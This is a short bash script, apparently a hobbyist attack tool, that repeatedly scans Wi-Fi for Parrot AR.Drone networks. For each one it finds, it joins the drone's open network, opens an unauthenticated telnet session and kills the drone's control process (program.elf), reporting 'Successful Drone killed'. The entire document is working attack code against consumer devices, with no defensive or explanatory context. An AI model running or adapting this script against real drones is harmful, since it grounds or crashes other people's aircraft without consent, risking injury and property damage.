Drone Code

#!/bin/bash

while true; do
                if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' |  grep [a]rdrone ); then
                        echo "No Drones Found"
                else
                        echo "Drone Found! Attempting to connect"
                        DRONESSID=$(iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone)
                        iwconfig wlan1 essid $DRONESSID
                        sleep 2

                        echo "Testing wireless Association"
                        if ! ( iwconfig wlan1 | grep $DRONESSID ); then
                                        echo "Association to $DRONESSID failed"
                        else
                                        echo "Association to $DRONESSID successful"

                                        echo "Setting Static IP Address"
                                        ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
                                        sleep 2

                                        echo "Testing IP Connection"
                                        if ! ( ping -c1 192.168.1.1 | grep from ); then
                                                        echo "IP Connection Failed"
                                        else
                                                        echo "IP Connection Successful"
                                                        echo "Connecting to Telnet and sending kill Command!!"
                                                        empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid telnet 192.168.1.1
                                                        empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo BusyBox "kill -KILL \`pidof program.elf\`\n"
                                                        kill `pidof empty`
                                                        echo ""
                                                        echo "Successful Drone killed"
                                                        echo ""
                                fi
                           fi
                        fi
sleep 60
done